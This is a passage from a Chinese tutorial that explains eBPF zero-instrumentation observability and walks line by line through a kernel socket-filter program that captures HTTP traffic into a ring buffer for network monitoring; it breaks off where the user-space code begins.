&lt;p&gt;正如上文所述，eBPF 提供了一个强大的解决方案，允许我们在内核层面捕获和分析七层协议的流量，而无需对应用程序进行任何修改。这种方法为我们提供了一个独特的机会，可以更简单、更高效地处理应用层流量，特别是在微服务和分布式环境中。&lt;&#x2F;p&gt;
&lt;p&gt;在处理网络流量和系统行为时，选择在内核态而非用户态进行处理有其独特的优势。首先，内核态处理可以直接访问系统资源和硬件，从而提供更高的性能和效率。其次，由于内核是操作系统的核心部分，它可以提供对系统行为的全面视图，而不受任何用户空间应用程序的限制。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;无插桩追踪（&quot;zero-instrumentation observability&quot;）&lt;&#x2F;strong&gt; 的优势如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;性能开销小&lt;&#x2F;strong&gt;：由于不需要修改或添加额外的代码到应用程序中，所以对性能的影响最小化。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;透明性&lt;&#x2F;strong&gt;：开发者和运维人员不需要知道应用程序的内部工作原理，也不需要访问源代码。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;灵活性&lt;&#x2F;strong&gt;：可以轻松地在不同的环境和应用程序中部署和使用，无需进行任何特定的配置或修改。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;&#x2F;strong&gt;：由于不需要修改应用程序代码，所以降低了引入潜在安全漏洞的风险。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;利用 eBPF 在内核态进行无插桩追踪，我们可以实时捕获和分析系统的行为，而不需要对应用程序进行任何修改。这种方法不仅提供了对系统深入的洞察力，而且确保了最佳的性能和效率。这是为什么 eBPF 成为现代可观测性工具的首选技术，特别是在需要高性能和低延迟的生产环境中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ebpf-zhong-de-socket-filter-yu-syscall-zhui-zong-shen-ru-jie-xi-yu-bi-jiao&quot;&gt;eBPF 中的 socket filter 与 syscall 追踪：深入解析与比较&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ebpf-socket-filter&quot;&gt;&lt;strong&gt;eBPF Socket Filter&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;是什么？&lt;&#x2F;strong&gt;  eBPF socket filter 是经典的 Berkeley Packet Filter (BPF) 的扩展，允许在内核中直接进行更高级的数据包过滤。它在套接字层操作，使得可以精细地控制哪些数据包被用户空间应用程序处理。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;主要特点：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;性能&lt;&#x2F;strong&gt;：通过在内核中直接处理数据包，eBPF socket filters 减少了用户和内核空间之间的上下文切换的开销。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;灵活性&lt;&#x2F;strong&gt;：eBPF socket filters 可以附加到任何套接字，为各种协议和套接字类型提供了通用的数据包过滤机制。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;可编程性&lt;&#x2F;strong&gt;：开发者可以编写自定义的 eBPF 程序来定义复杂的过滤逻辑，超越简单的数据包匹配。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;用途：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;流量控制&lt;&#x2F;strong&gt;：根据自定义条件限制或优先处理流量。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;&#x2F;strong&gt;：在它们到达用户空间应用程序之前丢弃恶意数据包。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;监控&lt;&#x2F;strong&gt;：捕获特定数据包进行分析，而不影响其它流量。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ebpf-syscall-tracing&quot;&gt;&lt;strong&gt;eBPF Syscall Tracing&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;是什么？&lt;&#x2F;strong&gt;  使用 eBPF 进行的系统调用跟踪允许监视和操作应用程序发出的系统调用。系统调用是用户空间应用程序与内核交互的主要机制，因此跟踪它们可以深入了解应用程序的行为。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;主要特点：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;粒度&lt;&#x2F;strong&gt;：eBPF 允许跟踪特定的系统调用，甚至是这些系统调用中的特定参数。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;低开销&lt;&#x2F;strong&gt;：与其他跟踪方法相比，eBPF 系统调用跟踪旨在具有最小的性能影响。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;&#x2F;strong&gt;：内核验证 eBPF 程序，以确保它们不会损害系统稳定性。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;工作原理：&lt;&#x2F;strong&gt;  eBPF 系统调用跟踪通常涉及将 eBPF 程序附加到与系统调用相关的 tracepoints 或 kprobes。当跟踪的系统调用被调用时，执行 eBPF 程序，允许收集数据或甚至修改系统调用参数。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ebpf-de-socket-filter-he-syscall-zhui-zong-de-dui-bi&quot;&gt;eBPF 的 socket filter 和 syscall 追踪的对比&lt;&#x2F;h3&gt;
&lt;p&gt;总之，eBPF 的 socket filter 和 syscall 追踪都可以用于追踪 HTTP 流量，但 socket filters 更直接且更适合此目的。然而，如果您对应用程序如何与系统交互的更广泛的上下文感兴趣（例如，哪些系统调用导致了 HTTP 流量），那么系统调用跟踪将是非常有价值的。在许多高级的可观察性设置中，这两种工具可能会同时使用，以提供系统和网络行为的全面视图。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-ebpf-socket-filter-lai-bu-huo-http-liu-liang&quot;&gt;使用 eBPF socket filter 来捕获 HTTP 流量&lt;&#x2F;h2&gt;
&lt;p&gt;eBPF 代码由用户态和内核态组成，这里主要关注于内核态代码。这是使用 eBPF socket filter 技术来在内核中捕获HTTP流量的主要逻辑，完整代码如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;SEC(&amp;quot;socket&amp;quot;)
int socket_handler(struct __sk_buff *skb)
{
    struct so_event *e;
    __u8 verlen;
    __u16 proto;
    __u32 nhoff = ETH_HLEN;
    __u32 ip_proto = 0;
    __u32 tcp_hdr_len = 0;
    __u16 tlen;
    __u32 payload_offset = 0;
    __u32 payload_length = 0;
    __u8 hdr_len;

    bpf_skb_load_bytes(skb, 12, &amp;amp;proto, 2);
    proto = __bpf_ntohs(proto);
    if (proto != ETH_P_IP)
        return 0;

    if (ip_is_fragment(skb, nhoff))
        return 0;

    &amp;#x2F;&amp;#x2F; ip4 header lengths are variable
    &amp;#x2F;&amp;#x2F; access ihl as a u8 (linux&amp;#x2F;include&amp;#x2F;linux&amp;#x2F;skbuff.h)
    bpf_skb_load_bytes(skb, ETH_HLEN, &amp;amp;hdr_len, sizeof(hdr_len));
    hdr_len &amp;amp;= 0x0f;
    hdr_len *= 4;

    &amp;#x2F;* verify hlen meets minimum size requirements *&amp;#x2F;
    if (hdr_len &amp;lt; sizeof(struct iphdr))
    {
        return 0;
    }

    bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &amp;amp;ip_proto, 1);

    if (ip_proto != IPPROTO_TCP)
    {
        return 0;
    }

    tcp_hdr_len = nhoff + hdr_len;
    bpf_skb_load_bytes(skb, nhoff + 0, &amp;amp;verlen, 1);
    bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &amp;amp;tlen, sizeof(tlen));

    __u8 doff;
    bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &amp;amp;doff, sizeof(doff)); &amp;#x2F;&amp;#x2F; read the first byte past __tcphdr-&amp;gt;ack_seq, we can&amp;#x27;t do offsetof bit fields
    doff &amp;amp;= 0xf0; &amp;#x2F;&amp;#x2F; clean-up res1
    doff &amp;gt;&amp;gt;= 4; &amp;#x2F;&amp;#x2F; move the upper 4 bits to low
    doff *= 4; &amp;#x2F;&amp;#x2F; convert to bytes length

    payload_offset = ETH_HLEN + hdr_len + doff;
    payload_length = __bpf_ntohs(tlen) - hdr_len - doff;

    char line_buffer[7];
    if (payload_length &amp;lt; 7 || payload_offset &amp;lt; 0)
    {
        return 0;
    }
    bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7);
    bpf_printk(&amp;quot;%d len %d buffer: %s&amp;quot;, payload_offset, payload_length, line_buffer);
    if (bpf_strncmp(line_buffer, 3, &amp;quot;GET&amp;quot;) != 0 &amp;amp;&amp;amp;
        bpf_strncmp(line_buffer, 4, &amp;quot;POST&amp;quot;) != 0 &amp;amp;&amp;amp;
        bpf_strncmp(line_buffer, 3, &amp;quot;PUT&amp;quot;) != 0 &amp;amp;&amp;amp;
        bpf_strncmp(line_buffer, 6, &amp;quot;DELETE&amp;quot;) != 0 &amp;amp;&amp;amp;
        bpf_strncmp(line_buffer, 4, &amp;quot;HTTP&amp;quot;) != 0)
    {
        return 0;
    }

    &amp;#x2F;* reserve sample from BPF ringbuf *&amp;#x2F;
    e = bpf_ringbuf_reserve(&amp;amp;rb, sizeof(*e), 0);
    if (!e)
        return 0;

    e-&amp;gt;ip_proto = ip_proto;
    bpf_skb_load_bytes(skb, nhoff + hdr_len, &amp;amp;(e-&amp;gt;ports), 4);
    e-&amp;gt;pkt_type = skb-&amp;gt;pkt_type;
    e-&amp;gt;ifindex = skb-&amp;gt;ifindex;

    e-&amp;gt;payload_length = payload_length;
    bpf_skb_load_bytes(skb, payload_offset, e-&amp;gt;payload, MAX_BUF_SIZE);

    bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &amp;amp;(e-&amp;gt;src_addr), 4);
    bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &amp;amp;(e-&amp;gt;dst_addr), 4);
    bpf_ringbuf_submit(e, 0);

    return skb-&amp;gt;len;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当分析这段eBPF程序时，我们将按照每个代码块的内容来详细解释，并提供相关的背景知识：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;SEC(&amp;quot;socket&amp;quot;)
int socket_handler(struct __sk_buff *skb)
{
    &amp;#x2F;&amp;#x2F; ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是eBPF程序的入口点，它定义了一个名为 &lt;code&gt;socket_handler&lt;&#x2F;code&gt; 的函数，它会被内核用于处理传入的网络数据包。这个函数位于一个名为 &lt;code&gt;socket&lt;&#x2F;code&gt; 的 eBPF 节（section）中，表明这个程序用于套接字处理。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct so_event *e;
__u8 verlen;
__u16 proto;
__u32 nhoff = ETH_HLEN;
__u32 ip_proto = 0;
__u32 tcp_hdr_len = 0;
__u16 tlen;
__u32 payload_offset = 0;
__u32 payload_length = 0;
__u8 hdr_len;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个代码块中，我们定义了一些变量来存储在处理数据包时需要的信息。这些变量包括了&lt;code&gt;struct so_event *e&lt;&#x2F;code&gt;用于存储事件信息，&lt;code&gt;verlen&lt;&#x2F;code&gt;、&lt;code&gt;proto&lt;&#x2F;code&gt;、&lt;code&gt;nhoff&lt;&#x2F;code&gt;、&lt;code&gt;ip_proto&lt;&#x2F;code&gt;、&lt;code&gt;tcp_hdr_len&lt;&#x2F;code&gt;、&lt;code&gt;tlen&lt;&#x2F;code&gt;、&lt;code&gt;payload_offset&lt;&#x2F;code&gt;、&lt;code&gt;payload_length&lt;&#x2F;code&gt;、&lt;code&gt;hdr_len&lt;&#x2F;code&gt;等用于存储数据包信息的变量。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;struct so_event *e;&lt;&#x2F;code&gt;：这是一个指向&lt;code&gt;so_event&lt;&#x2F;code&gt;结构体的指针，用于存储捕获到的事件信息。该结构体的具体定义在程序的其他部分。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__u8 verlen;&lt;&#x2F;code&gt;、&lt;code&gt;__u16 proto;&lt;&#x2F;code&gt;、&lt;code&gt;__u32 nhoff = ETH_HLEN;&lt;&#x2F;code&gt;：这些变量用于存储各种信息，例如协议类型、数据包偏移量等。&lt;code&gt;nhoff&lt;&#x2F;code&gt;初始化为以太网帧头部的长度，通常为14字节，因为以太网帧头部包括目标MAC地址、源MAC地址和帧类型字段。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__u32 ip_proto = 0;&lt;&#x2F;code&gt;：这个变量用于存储IP协议的类型，初始化为0。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__u32 tcp_hdr_len = 0;&lt;&#x2F;code&gt;：这个变量用于存储TCP头部的长度，初始化为0。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__u16 tlen;&lt;&#x2F;code&gt;：这个变量用于存储IP数据包的总长度。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__u32 payload_offset = 0;&lt;&#x2F;code&gt;、&lt;code&gt;__u32 payload_length = 0;&lt;&#x2F;code&gt;：这两个变量用于存储HTTP请求的载荷（payload）的偏移量和长度。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__u8 hdr_len;&lt;&#x2F;code&gt;：这个变量用于存储IP头部的长度。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;bpf_skb_load_bytes(skb, 12, &amp;amp;proto, 2);
proto = __bpf_ntohs(proto);
if (proto != ETH_P_IP)
    return 0;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这里，代码从数据包中加载了以太网帧的类型字段，这个字段告诉我们数据包使用的网络层协议。然后，使用&lt;code&gt;__bpf_ntohs&lt;&#x2F;code&gt;函数将网络字节序的类型字段转换为主机字节序。接下来，代码检查类型字段是否等于IPv4的以太网帧类型（0x0800）。如果不等于，说明这个数据包不是IPv4数据包，直接返回0，放弃处理。&lt;&#x2F;p&gt;
&lt;p&gt;这里需要了解以下几个概念：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;以太网帧（Ethernet Frame）：是数据链路层（第二层）的协议，用于在局域网中传输数据帧。以太网帧通常包括目标MAC地址、源MAC地址和帧类型字段。&lt;&#x2F;li&gt;
&lt;li&gt;网络字节序（Network Byte Order）：网络协议通常使用大端字节序（Big-Endian）来表示数据。因此，需要将从网络中接收到的数据转换为主机字节序，以便在主机上正确解释数据。&lt;&#x2F;li&gt;
&lt;li&gt;IPv4帧类型（ETH_P_IP）：表示以太网帧中包含的协议类型字段，0x0800表示IPv4。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;if (ip_is_fragment(skb, nhoff))
    return 0;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这一部分的代码检查是否处理IP分片。IP分片是将较大的IP数据包分割成多个小片段以进行传输的机制。在这里，如果数据包是IP分片，则直接返回0，表示不处理分片，只处理完整的数据包。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;static inline int ip_is_fragment(struct __sk_buff *skb, __u32 nhoff)
{
    __u16 frag_off;

    bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &amp;amp;frag_off, 2);
    frag_off = __bpf_ntohs(frag_off);
    return frag_off &amp;amp; (IP_MF | IP_OFFSET);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码是一个辅助函数，用于检查传入的IPv4数据包是否为IP分片。IP分片是一种机制，当IP数据包的大小超过了网络的最大传输单元（MTU），路由器会将其分割成多个较小的片段，以便在网络上进行传输。这个函数的目的是检查数据包的分片标志（Fragmentation Flag）以及片偏移（Fragment Offset）字段，以确定是否为分片。&lt;&#x2F;p&gt;
&lt;p&gt;下面是代码的逐行解释：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;__u16 frag_off;&lt;&#x2F;code&gt;：定义一个16位无符号整数变量&lt;code&gt;frag_off&lt;&#x2F;code&gt;，用于存储片偏移字段的值。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &amp;amp;frag_off, 2);&lt;&#x2F;code&gt;：这行代码使用&lt;code&gt;bpf_skb_load_bytes&lt;&#x2F;code&gt;函数从数据包中加载IPv4头部的片偏移字段（&lt;code&gt;frag_off&lt;&#x2F;code&gt;），并加载2个字节。&lt;code&gt;nhoff&lt;&#x2F;code&gt;是IPv4头部在数据包中的偏移量，&lt;code&gt;offsetof(struct iphdr, frag_off)&lt;&#x2F;code&gt;用于计算片偏移字段在IPv4头部中的偏移量。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;frag_off = __bpf_ntohs(frag_off);&lt;&#x2F;code&gt;：将加载的片偏移字段从网络字节序（Big-Endian）转换为主机字节序。网络协议通常使用大端字节序表示数据，而主机可能使用大端或小端字节序。这里将片偏移字段转换为主机字节序，以便进一步处理。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;return frag_off &amp;amp; (IP_MF | IP_OFFSET);&lt;&#x2F;code&gt;：这行代码通过使用位运算检查片偏移字段的值，以确定是否为IP分片。具体来说，它使用位与运算符&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;将片偏移字段与两个标志位进行位与运算：&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;IP_MF&lt;&#x2F;code&gt;：表示&quot;更多分片&quot;标志（More Fragments）。如果这个标志位被设置为1，表示数据包是分片的一部分，还有更多分片。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;IP_OFFSET&lt;&#x2F;code&gt;：表示片偏移字段。如果片偏移字段不为0，表示数据包是分片的一部分，且具有片偏移值。    如果这两个标志位中的任何一个被设置为1，那么结果就不为零，说明数据包是IP分片。如果都为零，说明数据包不是分片。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;需要注意的是，IP头部的片偏移字段以8字节为单位，所以实际的片偏移值需要左移3位来得到字节偏移。此外，IP头部的&quot;更多分片&quot;标志（IP_MF）表示数据包是否有更多的分片，通常与片偏移字段一起使用来指示整个数据包的分片情况。这个函数只关心这两个标志位，如果其中一个标志被设置，就认为是IP分片。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bpf_skb_load_bytes(skb, ETH_HLEN, &amp;amp;hdr_len, sizeof(hdr_len));
hdr_len &amp;amp;= 0x0f;
hdr_len *= 4;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这一部分的代码从数据包中加载IP头部的长度字段。IP头部长度字段包含了IP头部的长度信息，以4字节为单位，需要将其转换为字节数。这里通过按位与和乘以4来进行转换。&lt;&#x2F;p&gt;
&lt;p&gt;需要了解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;IP头部（IP Header）：IP头部包含了关于数据包的基本信息，如源IP地址、目标IP地址、协议类型和头部校验和等。头部长度字段（IHL，Header Length）表示IP头部的长度，以4字节为单位，通常为20字节（5个4字节的字）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;if (hdr_len &amp;lt; sizeof(struct iphdr))
{
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码检查IP头部的长度是否满足最小长度要求，通常IP头部的最小长度是20字节。如果IP头部的长度小于20字节，说明数据包不完整或损坏，直接返回0，放弃处理。&lt;&#x2F;p&gt;
&lt;p&gt;需要了解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;struct iphdr&lt;&#x2F;code&gt;：这是Linux内核中定义的结构体，表示IPv4头部的格式。它包括了版本、头部长度、服务类型、总长度、&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;标识符、标志位、片偏移、生存时间、协议、头部校验和、源IP地址和目标IP地址等字段。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &amp;amp;ip_proto, 1);
if (ip_proto != IPPROTO_TCP)
{
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这里，代码从数据包中加载IP头部中的协议字段，以确定数据包使用的传输层协议。然后，它检查协议字段是否为TCP协议（IPPROTO_TCP）。如果不是TCP协议，说明不是HTTP请求或响应，直接返回0。&lt;&#x2F;p&gt;
&lt;p&gt;需要了解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;传输层协议：IP头部中的协议字段指示了数据包所使用的传输层协议，例如TCP、UDP或ICMP。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;tcp_hdr_len = nhoff + hdr_len;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这行代码计算了TCP头部的偏移量。它将以太网帧头部的长度（&lt;code&gt;nhoff&lt;&#x2F;code&gt;）与IP头部的长度（&lt;code&gt;hdr_len&lt;&#x2F;code&gt;）相加，得到TCP头部的起始位置。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bpf_skb_load_bytes(skb, nhoff + 0, &amp;amp;verlen, 1);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这行代码从数据包中加载TCP头部的第一个字节，该字节包含了TCP头部长度信息。这个长度字段以4字节为单位，需要进行后续的转换。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &amp;amp;tlen, sizeof(tlen));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这行代码从数据包中加载IP头部的总长度字段。IP头部总长度字段表示整个IP数据包的长度，包括IP头部和数据部分。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;__u8 doff;
bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &amp;amp;doff, sizeof(doff));
doff &amp;amp;= 0xf0;
doff &amp;gt;&amp;gt;= 4;
doff *= 4;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码用于计算TCP头部的长度。它加载TCP头部中的数据偏移字段（Data Offset，也称为头部长度字段），该字段表示TCP头部的长度以4字节为单位。代码将偏移字段的高四位清零，然后将其右移4位，最后乘以4，得到TCP头部的实际长度。&lt;&#x2F;p&gt;
&lt;p&gt;需要了解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;TCP头部（TCP Header）：TCP头部包含了TCP协议相关的信息，如源端口、目标端口、序列号、确认号、标志位（如SYN、ACK、FIN等）、窗口大小和校验和等。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;payload_offset = ETH_HLEN + hdr_len + doff;
payload_length = __bpf_ntohs(tlen) - hdr_len - doff;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这两行代码计算HTTP请求的载荷（payload）的偏移量和长度。它们将以太网帧头部长度、IP头部长度和TCP头部长度相加，得到HTTP请求的数据部分的偏移量，然后通过减去总长度、IP头部长度和TCP头部长度，计算出HTTP请求数据的长度。&lt;&#x2F;p&gt;
&lt;p&gt;需要了解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP请求载荷（Payload）：HTTP请求中包含的实际数据部分，通常是HTTP请求头和请求体。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;char line_buffer[7];
if (payload_length &amp;lt; 7 || payload_offset &amp;lt; 0)
{
    return 0;
}
bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7);
bpf_printk(&amp;quot;%d len %d buffer: %s&amp;quot;, payload_offset, payload_length, line_buffer);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这部分代码用于加载HTTP请求行的前7个字节，存储在名为&lt;code&gt;line_buffer&lt;&#x2F;code&gt;的字符数组中。然后，它检查HTTP请求数据的长度是否小于7字节或偏移量是否为负数，如果满足这些条件，说明HTTP请求不完整，直接返回0。最后，它使用&lt;code&gt;bpf_printk&lt;&#x2F;code&gt;函数将HTTP请求行的内容打印到内核日志中，以供调试和分析。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;if (bpf_strncmp(line_buffer, 3, &amp;quot;GET&amp;quot;) != 0 &amp;amp;&amp;amp;
    bpf_strncmp(line_buffer, 4, &amp;quot;POST&amp;quot;) != 0 &amp;amp;&amp;amp;
    bpf_strncmp(line_buffer, 3, &amp;quot;PUT&amp;quot;) != 0 &amp;amp;&amp;amp;
    bpf_strncmp(line_buffer, 6, &amp;quot;DELETE&amp;quot;) != 0 &amp;amp;&amp;amp;
    bpf_strncmp(line_buffer, 4, &amp;quot;HTTP&amp;quot;) != 0)
{
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码使用&lt;code&gt;bpf_strncmp&lt;&#x2F;code&gt;函数比较&lt;code&gt;line_buffer&lt;&#x2F;code&gt;中的数据与HTTP请求方法（GET、POST、PUT、DELETE、HTTP）是否匹配。如果不匹配，说明不是HTTP请求，直接返回0，放弃处理。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;e = bpf_ringbuf_reserve(&amp;amp;rb, sizeof(*e), 0);
if (!e)
    return 0;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这部分代码尝试从BPF环形缓冲区中保留一块内存以存储事件信息。如果无法保留内存块，返回0。BPF环形缓冲区用于在eBPF程序和用户空间之间传递事件数据。&lt;&#x2F;p&gt;
&lt;p&gt;需要了解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;BPF环形缓冲区：BPF环形缓冲区是一种在eBPF程序和用户空间之间传递数据的机制。它可以用来存储事件信息，以便用户空间应用程序进行进一步处理或分析。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;e-&amp;gt;ip_proto = ip_proto;
bpf_skb_load_bytes(skb, nhoff + hdr_len, &amp;amp;(e-&amp;gt;ports), 4);
e-&amp;gt;pkt_type = skb-&amp;gt;pkt_type;
e-&amp;gt;ifindex = skb-&amp;gt;ifindex;

e-&amp;gt;payload_length = payload_length;
bpf_skb_load_bytes(skb, payload_offset, e-&amp;gt;payload, MAX_BUF_SIZE);

bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &amp;amp;(e-&amp;gt;src_addr), 4);
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &amp;amp;(e-&amp;gt;dst_addr), 4);
bpf_ringbuf_submit(e, 0);

return skb-&amp;gt;len;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后，这段代码将捕获到的事件信息存储在&lt;code&gt;e&lt;&#x2F;code&gt;结构体中，并将&lt;&#x2F;p&gt;
&lt;p&gt;其提交到BPF环形缓冲区。它包括了捕获的IP协议、源端口和目标端口、数据包类型、接口索引、载荷长度、源IP地址和目标IP地址等信息。最后，它返回数据包的长度，表示成功处理了数据包。&lt;&#x2F;p&gt;
&lt;p&gt;这段代码主要用于将捕获的事件信息存储起来，以便后续的处理和分析。 BPF环形缓冲区用于将这些信息传递到用户空间，供用户空间应用程序进一步处理或记录。&lt;&#x2F;p&gt;
&lt;p&gt;总结：这段eBPF程序的主要任务是捕获HTTP请求，它通过解析数据包的以太网帧、IP头部和TCP头部来确定数据包是否包含HTTP请求，并将有关请求的信息存储在&lt;code&gt;so_event&lt;&#x2F;code&gt;结构体中，然后提交到BPF环形缓冲区。这是一种高效的方法，可以在内核层面捕获HTTP流量，适用于网络监控和安全分析等应用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qian-zai-que-xian&quot;&gt;潜在缺陷&lt;&#x2F;h3&gt;
&lt;p&gt;上述代码也存在一些潜在的缺陷，其中一个主要缺陷是它无法处理跨多个数据包的URL。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;跨包URL：代码中通过解析单个数据包来检查HTTP请求中的URL，如果HTTP请求的URL跨足够多的数据包，那么只会检查第一个数据包中的URL部分。这会导致丢失或部分记录那些跨多个数据包的长URL。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;解决这个问题的方法通常需要对多个数据包进行重新组装，以还原完整的HTTP请求。这可能需要在eBPF程序中实现数据包的缓存和组装逻辑，并在检测到HTTP请求结束之前等待并收集所有相关数据包。这需要更复杂的逻辑和额外的内存来处理跨多个数据包的情况。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yong-hu-tai-dai-ma&quot;&gt;用户态代码&lt;&#x2F;h3&gt;
&lt;p&gt;用户态代码的主要目的是创建一个原始套接字（raw socket），然后将先前在内核中定义的eBPF程序附加到该套接字上，从而允许eBPF程序捕获和处理从该套接字接收到的网络数据包,例如：&lt;&#x2F;p&gt;
